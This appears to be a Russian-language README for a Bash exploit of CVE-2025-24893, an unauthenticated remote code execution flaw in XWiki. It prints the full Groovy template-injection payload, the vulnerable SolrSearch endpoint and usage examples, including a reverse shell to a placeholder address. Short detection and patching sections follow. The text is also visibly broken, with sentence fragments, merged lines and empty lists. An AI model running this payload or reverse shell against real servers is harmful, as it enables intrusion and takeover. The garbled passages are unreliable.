
Bash-эксплойт для CVE-2025-24893, неаутентифицированное RCE в XWiki Platform, использующий инъекцию шаблона в макросе SolrSearch для выполнения произвольных системных команд.
Этот скрипт представляет собой переработанную реализацию на Bash эксплойта, нацеленного на версии XWiki Platform, затронутые CVE-2025-24893. Он использует критическую уязвимость удалённого выполнения кода без аутентификации, которая позволяет злоумышленникам выполнять произвольный код Groovy через дефект внедрения шаблонов в макросе SolrSearch.
Исходные реализации эксплойта на Python были созданы различными исследователями безопасности и адаптированы здесь для пользователей Bash с упрощённым выполнением и улучшенной юзабилити.
text при доступе через конечную точку RSS, что позволяет злоумышленникам внедрять вредоносный код Groovy в конвейер рендеринга без аутентификации.curl: для отправки HTTP-запросов.jq: для URL-кодирования полезной нагрузки.Выдайте права на выполнение:
chmod +x CVE-2025-24893
Запустите скрипт с необходимыми аргументами:
./CVE-2025-24893 <target_url> <command>
| Параметр | Описание |
|---|---|
<target_url> | Целевой URL XWiki (например, http://example.com или https://xwiki.example.org). Протокол необязателен. |
<command> | Системная команда для выполнения на целевом сервере. |
Проверка уязвимости цели (выполнить команду id):
./CVE-2025-24893 http://vulnerable-xwiki.example.com "id"
Получить информацию о системе:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "uname -a"
Создать тестовый файл:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "touch /tmp/pwned"
Реверс-шелл (замените на ваш IP и порт):
./CVE-2025-24893 http://vulnerable-xwiki.example.com "bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'"
Разбор аргументов командной строки:
http://, если протокол не указан.Сборка полезной нагрузки:
.execute().}}}{{async async=false}}{{groovy}}<code>{{/groovy}}{{/async}}URL-кодирование:
jq для корректной HTTP-передачи.Эксплуатация:
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<закодированная_нагрузка>Цепочка эксплойта работает следующим образом:
}}}{{async async=false}}{{groovy}}'<command>'.execute();{{/groovy}}{{/async}}
}}} — Закрывает любой существующий контекст макроса{{async async=false}} — Обеспечивает синхронное выполнение{{groovy}}...{{/groovy}} — Оборачивает вредоносный код Groovy'<command>'.execute(); — Выполняет указанную системную командуДля тестирования можно развернуть уязвимый экземпляр XWiki с помощью Docker:
docker run -d -p 8080:8080 --name xwiki-vulnerable xwiki:15.10.10
# Дождитесь запуска XWiki (может занять 1–2 минуты)
./CVE-2025-24893 http://localhost:8080 "whoami"
Успешная эксплуатация этой уязвимости позволяет неаутентифицированному злоумышленнику:
По данным CISA и многих поставщиков безопасности:
Отслеживайте подозрительные запросы к конечной точке SolrSearch:
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=*
Ищите шаблоны, содержащие:
{{groovy}}{{async}}.execute()/tmp или других каталогах, доступных для записиОбновите XWiki до исправленной версии:
Примените временные обходные меры (если немедленное обновление невозможно):